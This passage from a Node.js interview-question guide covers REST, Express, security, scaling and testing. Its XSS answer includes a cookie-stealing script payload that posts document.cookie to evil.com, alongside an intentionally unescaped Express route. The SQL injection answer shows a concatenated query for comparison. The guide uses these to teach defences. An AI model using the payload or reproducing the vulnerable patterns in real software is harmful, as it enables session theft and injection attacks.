Set a specific origin rather than allowing everything in production.
Q72. What are the principles of REST?
REST is an architectural style for APIs. The key ideas: resources identified by URLs, standard HTTP methods for actions (GET to read, POST to create, PUT or PATCH to update, DELETE to remove), statelessness so each request carries everything it needs and meaningful status codes. The goal is a predictable, uniform interface.
Q73. What do the common HTTP status codes mean?
The families: 2xx is success (200 OK, 201 Created, 204 No Content), 3xx is redirection (301, 304 Not Modified), 4xx is a client error (400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 429 Too Many Requests) and 5xx is a server error (500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable). Returning the right code is part of a good API.
Q74. req.query vs req.params vs req.body?
req.params holds route parameters from the URL path, like :id in /users/:id.
req.query holds the query string, like ?page=2.
req.body holds the parsed request body, used in POST and PUT. Mixing these up is a classic source of “why is this undefined” bugs.
Q75. How do you serve static files in Express?
Use the built in express.static middleware, pointing it at a directory.
app.use(express.static('public'));
// now public/logo.png is served at /logo.png
Q76. What are template engines?
Template engines let you generate HTML on the server by injecting data into templates.
EJS, Pug and Handlebars are common with Express. They matter less now that most apps render on the client, but they are still useful for emails, server rendered pages and simple admin tools.
Q77. Express vs Fastify vs Koa?
Express is the established default, huge ecosystem, simple, a bit dated internally.
Koa is from the same authors, smaller and built around async middleware with no bundled features.
Fastify is the performance focused choice, with built in schema validation and faster JSON handling.
For most teams Express is the safe pick and you reach for Fastify when throughput genuinely matters.
Q78. What does helmet do?
helmet is middleware that sets a collection of HTTP headers to harden your app against common attacks. It handles things like content security policy, disabling X-Powered-By and HSTS. It is one line and there is little reason not to use it.
const helmet = require('helmet');
app.use(helmet());
Security
Q79. What are the common security risks in a Node.js app?
The usual suspects: injection (SQL and NoSQL), cross site scripting, cross site request forgery, insecure dependencies, exposed secrets, weak authentication and denial of service from unbounded input.
The OWASP Top 10 is the checklist worth knowing by name in an interview.
Q80. How do you prevent SQL injection?
Never build queries by concatenating user input. Use parameterised queries or an ORM(Object-Relational Mapper), which separate the SQL from the data so input can never be interpreted as code.
// vulnerable
db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);
// safe, parameterised
db.query('SELECT * FROM users WHERE id = ?', [req.params.id]);
Q81. What is XSS and how do you prevent it?
Cross site scripting is when an attacker injects script that runs in another user’s browser, usually by getting malicious input rendered as HTML. You prevent it by escaping or sanitising user content before rendering, setting a content security policy and avoiding dangerous sinks like innerHTML.
On the server, libraries like dompurify or template engines that auto escape help.
How it happens with a simple example
Your app takes user input and renders it back on the page:
// server sends this to the browser
app.get('/search', (req, res) => {
res.send(`<p>You searched for: ${req.query.term}</p>`);
});
Normal user types: shoes
Page shows: You searched for: shoes ✓
Attacker types:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Page now contains:
<p>You searched for: <script>fetch('https://evil.com/steal?c='+document.cookie)</script></p>
That script runs in every visitor’s browser and silently sends their session cookie to the attacker.
Q82. What is CSRF and how do you defend against it?
Cross site request forgery tricks a logged in user’s browser into making an unwanted request to your site using their existing session cookie.
Defences include CSRF tokens that the attacker cannot guess, the SameSite cookie attribute and checking the origin header. Token based auth in headers (rather than cookies) sidesteps much of it.
Q83. How do you implement rate limiting?
Rate limiting caps how many requests a client can make in a window, protecting against brute force and abuse.
The express-rate-limit middleware is the common approach, often backed by Redis so the count is shared across multiple instances.
const rateLimit = require('express-rate-limit');
app.use(rateLimit({ windowMs: 60_000, max: 100 }));
Q84. Why set security headers and which matter?
Security headers tell the browser how to behave defensively.
The ones that matter:
Content-Security-Policy to restrict what loads
Strict-Transport-Security to force HTTPS
X-Content-Type-Options: nosniff
X-Frame-Options to prevent clickjacking. helmet sets sensible defaults for all of these.
Q85. How should you store secrets and passwords?
Secrets like API keys go in environment variables or a secrets manager, never in code.
Passwords are never stored as plain text or even encrypted. You hash them with a slow, salted algorithm like bcrypt or argon2 so that a database leak does not hand attackers the passwords.
const bcrypt = require('bcrypt');
const hash = await bcrypt.hash(password, 12);
const ok = await bcrypt.compare(attempt, hash);
Q86. JWT vs sessions for authentication?
Sessions store state on the server (or a shared store like Redis) and hand the client a session ID cookie.
JWTs are self contained signed tokens that carry the user’s claims, so the server holds no state.
Sessions are easy to revoke but need a shared store to scale.
JWTs scale statelessly but are hard to revoke before expiry. The right choice depends on whether easy revocation or stateless scaling matters more to you.
Performance and Scaling
Q87. How do you scale a Node.js application?
Vertically by giving one process more resources and horizontally by running more processes or machines.
Because one Node.js process uses one core, the first step is usually to run one process per core with clustering or PM2, then put multiple machines behind a load balancer, then add caching and offload heavy work to queues. Stateless app design is what makes horizontal scaling possible.
How to actually do it:
Step 1: Use all CPU cores with clustering
A single Node.js process uses one core. A four core machine runs four processes, each handling its share of traffic.
const cluster = require('cluster');
const os = require('os');
if (cluster.isPrimary) {
const cores = os.cpus().length;
for (let i = 0; i < cores; i++) {
cluster.fork(); // spawn one worker per core
}
cluster.on('exit', (worker) => {
cluster.fork(); // restart crashed workers automatically
});
} else {
require('./app'); // each worker runs your app
}
Or skip the manual setup and use PM2:
pm2 start app.js -i max # one worker per core, auto restart
pm2 reload app # zero downtime deploy
Step 2: Put a load balancer in front
Once you have multiple instances (across cores or machines), a load balancer distributes incoming requests across them.
Users
│
▼
Load Balancer (Nginx / AWS ALB)
│ │ │
▼ ▼ ▼
App 1 App 2 App 3
Nginx config is straightforward:
upstream nodeapp {
server 127.0.0.1:3001;
server 127.0.0.1:3002;
server 127.0.0.1:3003;
}
server {
listen 80;
location / {
proxy_pass http://nodeapp;
}
}
Step 3: Make the app stateless
For load balancing to work cleanly, no instance can hold state that others cannot see. Sessions stored in memory on instance 1 are invisible to instance 2.
Move shared state out:
// sessions in Redis, not in memory
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false
}));
Same rule applies to caches, rate limit counters and anything else that needs to be consistent across instances.
Step 4: Add caching
Reduce the load hitting your app and database by caching repeated work.
// cache expensive DB result in Redis for 60 seconds
async function getUser(id) {
const cached = await redis.get(`user:${id}`);
if (cached) return JSON.parse(cached);
const user = await db.query('SELECT * FROM users WHERE id = ?', [id]);
await redis.set(`user:${id}`, JSON.stringify(user), 'EX', 60);
return user;
}
Step 5: Offload heavy work to a queue
CPU heavy or slow background tasks (sending emails, resizing images, generating reports) should not run inside a request handler. Put them on a queue and process them separately.
// in the request handler —> just add to queue, respond immediately
app.post('/order', async (req, res) => {
await queue.add('process-order', { orderId: req.body.id });
res.json({ status: 'queued' });
});
// in a separate worker process —> does the heavy lifting
queue.process('process-order', async (job) => {
await processOrder(job.data.orderId);
});
Step 6: Scale horizontally across machines
Once one machine is maxed out, add more. Put them all behind the same load balancer. Because your app is now stateless (step 3), any machine can handle any request.
Load Balancer
│
┌────────────┼────────────┐
▼ ▼ ▼
Machine 1 Machine 2 Machine 3
(4 workers) (4 workers) (4 workers)
│ │ │
└────────────┴────────────┘
│
Shared Redis + DB
The full scaling ladder
| Step | What it gives you |
|---|---|
| Clustering / PM2 | use all CPU cores on one machine |
| Load balancer | spread traffic across multiple instances |
| Stateless app + Redis | any instance can handle any request |
| Caching | reduce repeat work hitting the DB |
| Job queues | keep heavy work off the request path |
| Multiple machines | scale beyond one machine’s limits |
Q88. How does clustering improve performance?
A single process is capped at one CPU core. Clustering forks the app into one worker per core, all sharing the listening port, so a four core machine can handle roughly four times the throughput for CPU bound or concurrent work. The OS and master process spread connections across workers.
Q89. What is load balancing and where does it sit?
A load balancer distributes incoming traffic across multiple app instances so no single one is overwhelmed. It sits in front of your servers (Nginx, a cloud load balancer or PM2 at the process level) and also gives you health checks and failover. For it to work cleanly, your app instances must not depend on local in memory state.
Q90. What caching strategies do you use in Node.js?
Several layers. In memory caching for hot data within one process, a shared cache like Redis for data shared across instances, HTTP caching with Cache-Control and ETag headers and a CDN for static assets. Redis is the workhorse for shared application caching, session storage and rate limit counters.
const cached = await redis.get(key);
if (cached) return JSON.parse(cached);
const fresh = await db.query(/* ... */);
await redis.set(key, JSON.stringify(fresh), 'EX', 60);
Q91. What causes memory leaks in Node.js and how do you find them?
Common causes: forgotten timers and event listeners, growing global arrays or maps used as caches and closures holding references longer than needed.
You find them by watching memory grow over time, taking heap snapshots in Chrome DevTools or with --inspect and comparing snapshots to see what is accumulating. The fix is usually removing listeners, bounding caches and clearing references.
Q92. How do you profile a Node.js application?
Start with the built in profiler (node --prof or --inspect with Chrome DevTools) to capture CPU profiles and flame graphs. Use clinic.js for a guided diagnosis of CPU, event loop and memory issues. The point is to measure before optimising, because the slow part is rarely where you guess it is.
Q93. What is PM2?
PM2 is a production process manager for Node.js. It keeps your app running by restarting it on crashes, runs it in cluster mode across all cores, handles zero downtime reloads, manages logs and reports basic metrics. It is the standard way to run a Node.js app on a server when you are not using a container orchestrator.
pm2 start app.js -i max # cluster mode, one worker per core
pm2 reload app # zero downtime reload
Q94. How does compression help and how do you enable it?
Compressing responses with gzip or Brotli shrinks payloads, which cuts bandwidth and speeds up load times for clients.
In Express you enable it with the compression middleware, though in production it is often handled at the reverse proxy or CDN layer instead, which is more efficient.
const compression = require('compression');
app.use(compression());
Testing, Debugging and Misc
Q95. What testing frameworks do you use with Node.js?
Jest is the popular all in one with a runner, assertions and mocking built in.
Mocha paired with Chai is the flexible classic.
Vitest is the fast newer option.
Node.js also now ships a built in test runner (node:test) for projects that want zero dependencies.
Supertest is the common companion for testing HTTP endpoints.
Q96. Unit tests vs integration tests?
A unit test checks one small piece in isolation, mocking its dependencies and runs fast.
An integration test checks that multiple pieces work together, like a route hitting a real test database and runs slower but catches wiring bugs unit tests miss.
A healthy suite has many unit tests and fewer, targeted integration tests.
Q97. What is mocking and why do it?
Mocking replaces a real dependency with a controlled fake so a test stays fast, deterministic and isolated. You mock the database, external APIs and the clock so your test of business logic does not depend on a network call or the current time. Over mocking is a trap though, since a test that mocks everything proves only that your mocks agree with each other.
Q98. How do you debug a Node.js application?
Beyond console.log, run with node --inspect and attach Chrome DevTools or your editor’s debugger to set breakpoints, step through code and inspect variables. VS Code has first class Node.js debugging built in. For production, structured logging and an error tracker like Sentry replace interactive debugging, since you cannot pause a live server.
Q99. What is the error first callback pattern?
It is the Node.js callback convention where the first argument is reserved for an error and the rest carry the result. You always check the error before using the data.
fs.readFile('file.txt', (err, data) => {
if (err) return handle(err); // error first, always
use(data);
});
It predates Promises but you will still meet it in older code and many core APIs.
Q100. How do you implement graceful shutdown?
When the process gets a termination signal, you stop accepting new requests, finish the in flight ones, close database connections and then exit. Without this, a deploy or restart can drop live requests and leave connections dangling.
process.on('SIGTERM', async () => {
server.close(() => console.log('stopped accepting connections'));
await db.disconnect();
process.exit(0);
});
In containers and behind orchestrators this is not optional because they send SIGTERM on every redeploy.
If you made it to the end, you have covered far more than most interviews will ask in a single round. A few patterns repeat across these questions and are worth internalising: the event loop and why Node.js is single-threaded yet concurrent, the move from callbacks to Promises to async/await, streams for large data and the difference between I/O bound and CPU bound work. Get those four right and you can reason your way through most questions you have not seen before.
